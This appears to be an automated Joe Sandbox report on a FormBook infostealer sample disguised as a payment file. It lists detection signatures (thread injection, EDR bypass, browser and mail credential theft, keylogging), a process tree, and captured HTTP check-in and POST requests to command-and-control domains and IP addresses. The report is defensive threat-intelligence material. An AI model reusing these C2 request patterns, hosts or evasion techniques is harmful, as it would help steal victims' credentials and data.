Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Payment-251124.exe

Overview

General Information

Sample name:Payment-251124.exe
Analysis ID:1562407
MD5:bfcef9bd24b02ff03f80b4afcd3aab1e
SHA1:d7061c0fbd17011e8b67087403184c09c9b46f57
SHA256:d3fcbc56da2d26372226d0e313d9f5af80f4df67b3477cc519c071beab7cea76
Tags:exeuser-James_inthe_box
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected FormBook
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
Found direct / indirect Syscall (likely to bypass EDR)
Initial sample is a PE file and has a suspicious name
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Queues an APC in another process (thread injection)
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found evaded block containing many API calls
Found evasive API chain (date check)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Uncommon Svchost Parent Process
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • Payment-251124.exe (PID: 6812 cmdline: "C:\Users\user\Desktop\Payment-251124.exe" MD5: BFCEF9BD24B02FF03F80B4AFCD3AAB1E)
    • svchost.exe (PID: 6860 cmdline: "C:\Users\user\Desktop\Payment-251124.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)
      • zBxRBzECNBW.exe (PID: 5548 cmdline: "C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • tzutil.exe (PID: 6840 cmdline: "C:\Windows\SysWOW64\tzutil.exe" MD5: 31DE852CCF7CED517CC79596C76126B4)
          • zBxRBzECNBW.exe (PID: 3616 cmdline: "C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
          • firefox.exe (PID: 3052 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000007.00000002.3540649856.0000000004C30000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    00000006.00000002.3539253751.0000000003210000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000006.00000002.3537454552.0000000002CC0000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        00000006.00000002.3539211185.00000000031C0000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          00000001.00000002.2182922609.0000000000400000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
            Click to see the 3 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            1.2.svchost.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
              1.2.svchost.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security

                Sigma Signatures

                System Summary

                barindex
                Sigma detected: Uncommon Svchost Parent Process
                Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\Payment-251124.exe", CommandLine: "C:\Users\user\Desktop\Payment-251124.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\Payment-251124.exe", ParentImage: C:\Users\user\Desktop\Payment-251124.exe, ParentProcessId: 6812, ParentProcessName: Payment-251124.exe, ProcessCommandLine: "C:\Users\user\Desktop\Payment-251124.exe", ProcessId: 6860, ProcessName: svchost.exe
                Sigma detected: Windows Processes Suspicious Parent Directory
                Source: Process startedAuthor: vburov: Data: Command: "C:\Users\user\Desktop\Payment-251124.exe", CommandLine: "C:\Users\user\Desktop\Payment-251124.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\Payment-251124.exe", ParentImage: C:\Users\user\Desktop\Payment-251124.exe, ParentProcessId: 6812, ParentProcessName: Payment-251124.exe, ProcessCommandLine: "C:\Users\user\Desktop\Payment-251124.exe", ProcessId: 6860, ProcessName: svchost.exe

                Suricata Signatures

                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-11-25T15:28:14.356589+010028554641A Network Trojan was detected192.168.2.449784217.160.0.11380TCP
                2024-11-25T15:28:16.936019+010028554641A Network Trojan was detected192.168.2.449790217.160.0.11380TCP
                2024-11-25T15:28:19.686562+010028554641A Network Trojan was detected192.168.2.449797217.160.0.11380TCP
                2024-11-25T15:28:30.446542+010028554641A Network Trojan was detected192.168.2.449823114.55.89.5480TCP
                2024-11-25T15:28:33.118320+010028554641A Network Trojan was detected192.168.2.449829114.55.89.5480TCP
                2024-11-25T15:28:35.790146+010028554641A Network Trojan was detected192.168.2.449835114.55.89.5480TCP
                2024-11-25T15:29:06.118255+010028554641A Network Trojan was detected192.168.2.449907154.205.159.11680TCP
                2024-11-25T15:29:08.790198+010028554641A Network Trojan was detected192.168.2.449913154.205.159.11680TCP
                2024-11-25T15:29:11.462075+010028554641A Network Trojan was detected192.168.2.449919154.205.159.11680TCP
                2024-11-25T15:29:21.712001+010028554641A Network Trojan was detected192.168.2.44994138.181.21.17880TCP
                2024-11-25T15:29:24.384008+010028554641A Network Trojan was detected192.168.2.44994738.181.21.17880TCP
                2024-11-25T15:29:27.055861+010028554641A Network Trojan was detected192.168.2.44995438.181.21.17880TCP
                2024-11-25T15:29:46.215257+010028554641A Network Trojan was detected192.168.2.44999923.167.152.4180TCP
                2024-11-25T15:29:48.532492+010028554641A Network Trojan was detected192.168.2.45000623.167.152.4180TCP
                2024-11-25T15:29:51.239366+010028554641A Network Trojan was detected192.168.2.45001223.167.152.4180TCP

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Multi AV Scanner detection for submitted file
                Source: Payment-251124.exeReversingLabs: Detection: 57%
                Yara detected FormBook
                Source: Yara matchFile source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000007.00000002.3540649856.0000000004C30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3539253751.0000000003210000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3537454552.0000000002CC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3539211185.00000000031C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.2182922609.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.2183137208.0000000000D20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.2183684282.0000000004150000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3539158072.0000000003A40000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                AI detected suspicious sample
                Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                Machine Learning detection for sample
                Source: Payment-251124.exeJoe Sandbox ML: detected
                Source: Payment-251124.exeStatic PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                Source: Binary string: tzutil.pdbGCTL source: svchost.exe, 00000001.00000003.2152256535.0000000002E26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2151815386.0000000002E1B000.00000004.00000020.00020000.00000000.sdmp, zBxRBzECNBW.exe, 00000005.00000003.2248150026.000000000145B000.00000004.00000001.00020000.00000000.sdmp
                Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: zBxRBzECNBW.exe, 00000005.00000002.3537474381.000000000035E000.00000002.00000001.01000000.00000005.sdmp, zBxRBzECNBW.exe, 00000007.00000002.3537627348.000000000035E000.00000002.00000001.01000000.00000005.sdmp
                Source: Binary string: wntdll.pdbUGP source: Payment-251124.exe, 00000000.00000003.1708087798.0000000003F20000.00000004.00001000.00020000.00000000.sdmp, Payment-251124.exe, 00000000.00000003.1709167860.0000000003D80000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2089785969.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2183263308.0000000003400000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2183263308.000000000359E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2091749467.0000000003200000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000006.00000003.2183271595.00000000030CD000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000006.00000003.2185659623.000000000327B000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000006.00000002.3539389763.0000000003430000.00000040.00001000.00020000.00000000.sdmp, tzutil.exe, 00000006.00000002.3539389763.00000000035CE000.00000040.00001000.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdb source: Payment-251124.exe, 00000000.00000003.1708087798.0000000003F20000.00000004.00001000.00020000.00000000.sdmp, Payment-251124.exe, 00000000.00000003.1709167860.0000000003D80000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000003.2089785969.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2183263308.0000000003400000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2183263308.000000000359E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2091749467.0000000003200000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000006.00000003.2183271595.00000000030CD000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000006.00000003.2185659623.000000000327B000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000006.00000002.3539389763.0000000003430000.00000040.00001000.00020000.00000000.sdmp, tzutil.exe, 00000006.00000002.3539389763.00000000035CE000.00000040.00001000.00020000.00000000.sdmp
                Source: Binary string: svchost.pdb source: tzutil.exe, 00000006.00000002.3537943635.0000000002FCD000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000006.00000002.3539905384.0000000003A5C000.00000004.10000000.00040000.00000000.sdmp, zBxRBzECNBW.exe, 00000007.00000002.3539319251.00000000027FC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2475341747.000000003985C000.00000004.80000000.00040000.00000000.sdmp
                Source: Binary string: svchost.pdbUGP source: tzutil.exe, 00000006.00000002.3537943635.0000000002FCD000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000006.00000002.3539905384.0000000003A5C000.00000004.10000000.00040000.00000000.sdmp, zBxRBzECNBW.exe, 00000007.00000002.3539319251.00000000027FC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2475341747.000000003985C000.00000004.80000000.00040000.00000000.sdmp
                Source: Binary string: tzutil.pdb source: svchost.exe, 00000001.00000003.2152256535.0000000002E26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2151815386.0000000002E1B000.00000004.00000020.00020000.00000000.sdmp, zBxRBzECNBW.exe, 00000005.00000003.2248150026.000000000145B000.00000004.00000001.00020000.00000000.sdmp
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F06CA9 GetFileAttributesW,FindFirstFileW,FindClose,0_2_00F06CA9
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F060DD _wcscat,_wcscat,__wsplitpath,FindFirstFileW,DeleteFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,0_2_00F060DD
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F063F9 _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,0_2_00F063F9
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F0EB60 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_00F0EB60
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F0F5FA FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_00F0F5FA
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F0F56F FindFirstFileW,FindClose,0_2_00F0F56F
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F11B2F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00F11B2F
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F11C8A SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00F11C8A
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F11F94 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_00F11F94

                Networking

                barindex
                Suricata IDS alerts for network traffic
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49823 -> 114.55.89.54:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49829 -> 114.55.89.54:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49790 -> 217.160.0.113:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49784 -> 217.160.0.113:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49797 -> 217.160.0.113:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49835 -> 114.55.89.54:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49907 -> 154.205.159.116:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49913 -> 154.205.159.116:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49941 -> 38.181.21.178:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49954 -> 38.181.21.178:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49947 -> 38.181.21.178:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49999 -> 23.167.152.41:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50006 -> 23.167.152.41:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49919 -> 154.205.159.116:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50012 -> 23.167.152.41:80
                Source: Joe Sandbox ViewIP Address: 217.160.0.113 217.160.0.113
                Source: Joe Sandbox ViewASN Name: ONEANDONE-ASBrauerstrasse48DE ONEANDONE-ASBrauerstrasse48DE
                Source: Joe Sandbox ViewASN Name: IKGUL-26484US IKGUL-26484US
                Source: Joe Sandbox ViewASN Name: COGENT-174US COGENT-174US
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F14EB5 InternetReadFile,InternetQueryDataAvailable,InternetReadFile,0_2_00F14EB5
                Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKContent-Encoding: gzipContent-Type: text/html; charset=UTF-8Date: Mon, 25 Nov 2024 14:29:05 GMTServer: nginxVary: Accept-EncodingContent-Length: 44Connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 0b cd 4b 4c ca 49 55 28 c9 57 48 4f 2d 51 48 ce cf cb 4b 4d 2e c9 cc cf 03 00 83 11 dc 67 18 00 00 00 Data Ascii: KLIU(WHO-QHKM.g
                Source: global trafficHTTP traffic detected: GET /q3v1/?fT=ttlTvpWhdN8TOVxP&vP=fC5DX2ZaB+U22tqbLO3TDxU7YJzfDko0GDmIeZjVqXUIxO0lfLVpCEprOw8FFlXlAKcfYmOgw3KJO3baxmfc0E1tB/T88Ahd3/Is7XNEE2gmn05mRDUrFrs= HTTP/1.1Host: www.supernutra01.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0 K-Meleon/75.0
                Source: global trafficHTTP traffic detected: GET /m5si/?vP=eqY3hh7t27bJ5LQfUACiIBop+4++C12UJ8jqVv8fYDW4JFKoOjNM9tGFtSdYH3IXt9v4kCCdG8KeR7OcjMcnk3D3+1Po89+p2utRtVEn8mZesTWlz/QNOcc=&fT=ttlTvpWhdN8TOVxP HTTP/1.1Host: www.prestigerugz.infoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0 K-Meleon/75.0
                Source: global trafficHTTP traffic detected: GET /4a2y/?vP=B7/CaWyFyJZ/ZnAYZtprZmHO5yrVZMrco1elpyyTV3OaXVK7aguvPX46USwogPJkBQRy1ktOJHQ6JlcQ/W//9RlEXLI4nVQk4m99844MZoFLTqlRZ9016p0=&fT=ttlTvpWhdN8TOVxP HTTP/1.1Host: www.buckser.infoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0 K-Meleon/75.0
                Source: global trafficHTTP traffic detected: GET /521z/?vP=Yx3A360WU89Z0GGJ4sj1ssKBmwUq+j2s/KQE4E7BbN1HAmIot3HipiLJPY42zmsSwDZ5HnrJyLyqyKfyPPN/Ul94K97G9BNerQ7FJbOxJndggPtqh59eHiM=&fT=ttlTvpWhdN8TOVxP HTTP/1.1Host: www.jijievo.siteAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0 K-Meleon/75.0
                Source: global trafficHTTP traffic detected: GET /l9wb/?vP=dKoVDaTSZmwFjIfnPMekOmNSbaoqabF1rLRKWxbZMRgsIAaeZOJ62iUdSY3DsOWKNrgOWvNnZKtmZJtN7rtvj9a+jKl6nL3gw5l63A2ReISiUGJmdOx1Ym0=&fT=ttlTvpWhdN8TOVxP HTTP/1.1Host: www.44ynh.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0 K-Meleon/75.0
                Source: global trafficHTTP traffic detected: GET /q34f/?fT=ttlTvpWhdN8TOVxP&vP=dUs1zx3MtgRbplDX2ZUJYQ2PdhhIhHuhj9/PkAdaJlwoIMpaDvWmQ8f5x9wKpmWIn5GTBIDw1kY0kdraeZ9e5WN4Bfp+jFvkFPdElOhqE98bTiQ+FUKDG58= HTTP/1.1Host: www.75178.clubAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0 K-Meleon/75.0
                Source: global trafficDNS traffic detected: DNS query: www.supernutra01.online
                Source: global trafficDNS traffic detected: DNS query: www.prestigerugz.info
                Source: global trafficDNS traffic detected: DNS query: www.buckser.info
                Source: global trafficDNS traffic detected: DNS query: www.jijievo.site
                Source: global trafficDNS traffic detected: DNS query: www.44ynh.top
                Source: global trafficDNS traffic detected: DNS query: www.setwayidiomas.online
                Source: global trafficDNS traffic detected: DNS query: www.75178.club
                Source: unknownHTTP traffic detected: POST /m5si/ HTTP/1.1Host: www.prestigerugz.infoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usAccept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedConnection: closeCache-Control: no-cacheContent-Length: 199Origin: http://www.prestigerugz.infoReferer: http://www.prestigerugz.info/m5si/User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0 K-Meleon/75.0Data Raw: 76 50 3d 54 6f 77 58 69 57 37 79 69 5a 61 49 2b 35 30 62 56 33 69 4b 49 77 73 5a 38 4e 54 4b 4c 6c 79 53 48 37 37 34 5a 4c 45 45 48 6e 4b 39 4a 31 36 50 50 6a 52 53 37 66 57 65 6c 7a 52 6c 48 58 49 54 70 71 37 69 72 6a 57 51 44 71 7a 4c 4e 49 36 61 6e 61 49 73 6c 6b 2f 37 38 7a 2f 50 74 76 54 79 79 63 52 67 70 6b 30 4b 73 55 35 59 38 78 75 36 7a 64 77 77 4c 76 6e 43 6d 34 32 79 63 4f 35 74 76 41 48 76 30 7a 71 66 32 69 33 37 63 75 31 39 48 72 55 43 4b 42 4f 4b 2b 69 61 35 7a 6d 44 67 7a 44 61 2f 43 64 75 4d 77 54 70 51 53 74 73 4d 76 70 62 67 4c 59 75 58 71 45 66 46 47 57 77 46 56 77 3d 3d Data Ascii: vP=TowXiW7yiZaI+50bV3iKIwsZ8NTKLlySH774ZLEEHnK9J16PPjRS7fWelzRlHXITpq7irjWQDqzLNI6anaIslk/78z/PtvTyycRgpk0KsU5Y8xu6zdwwLvnCm42ycO5tvAHv0zqf2i37cu19HrUCKBOK+ia5zmDgzDa/CduMwTpQStsMvpbgLYuXqEfFGWwFVw==
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Mon, 25 Nov 2024 14:28:14 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 50 2a a0 d4 95 5a 84 90 b8 ac bd 63 7b 5a 7b 37 da 5d e7 03 c4 7f 67 bc 4e a4 84 b8 24 97 68 e7 e3 bd dd f7 66 1c 9f 7f 48 df 3f fc b8 bb 82 ca 35 f5 e5 59 dc ff 41 5c a1 90 97 67 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 6d e0 13 d6 6d 6a 04 b7 59 60 12 38 5c bb 28 b7 d6 67 3c d4 18 32 2d 37 63 78 b1 10 c6 29 34 63 a0 c2 88 06 e1 37 83 1e fe 2a a4 b2 72 b3 8b e9 f4 e5 fc 28 b9 22 e9 aa 67 72 8d 30 25 a9 d9 f4 b8 6b 21 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 9f b9 c9 12 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 8e 2f 96 89 fc a9 34 ba 55 72 e6 8c 50 96 d5 41 e5 0e eb fe 1c 88 d0 c9 38 20 9a 66 ca a2 d6 ab 59 45 52 a2 3a 46 88 23 6f d0 9e 87 fc 06 e6 4a 82 db f4 7b 00 8a bd 48 02 5c 2f c8 60 6f db d6 e9 5d 15 29 89 eb 31 14 ba 66 96 31 88 ba de 35 5d a7 e9 f5 cd d5 bb f4 a1 9f 83 7e 40 4e b7 19 9d 69 b7 a5 3a 0f 43 f8 e8 91 d9 25 f8 ca 23 16 3e 88 12 0a 5a a3 05 cb 42 72 38 24 6b 5b 3e 6a 05 8d ce 88 67 4d e2 92 72 8e 84 e1 c0 ab fc a0 24 7d 49 e8 0f 73 20 45 8e d8 95 0e 11 93 8b c9 74 0e 8d 58 53 d3 36 fb a1 d6 a2 f1 67 91 71 d5 74 be 7b e7 92 70 b5 d0 c6 75 cf 8c a3 ed 42 c4 9d 1f 9e 5e d2 12 48 26 c1 76 c0 7b 31 22 8e fa ac cd 0d 2d dc fe 7a 3c 8a a5 e8 a3 fd 96 48 9d b7 0d 1b 32 59 19 72 f8 ea c0 f4 dd 82 8c e2 ff e2 40 2d 54 d9 8a 92 9d fc cc e8 f7 9e 33 18 0d 42 ed 20 df c0 c8 9a 3c 09 a2 c8 a2 d4 7c f9 27 d6 7a 92 eb 26 2a 4c d3 1d a3 53 fd 2b 1e 0d bd 9a d4 3a 17 8e b4 9a 54 da 3a 60 d8 93 8d a3 4f e9 6d 7a 7f d7 53 7e fb 72 8a 67 14 75 d7 99 3c f2 cc 0c 97 32 67 fc 33 ea 15 fa a7 e4 75 b7 10 bc 02 5e 11 ef 5f ef 1b fb d8 7d e7 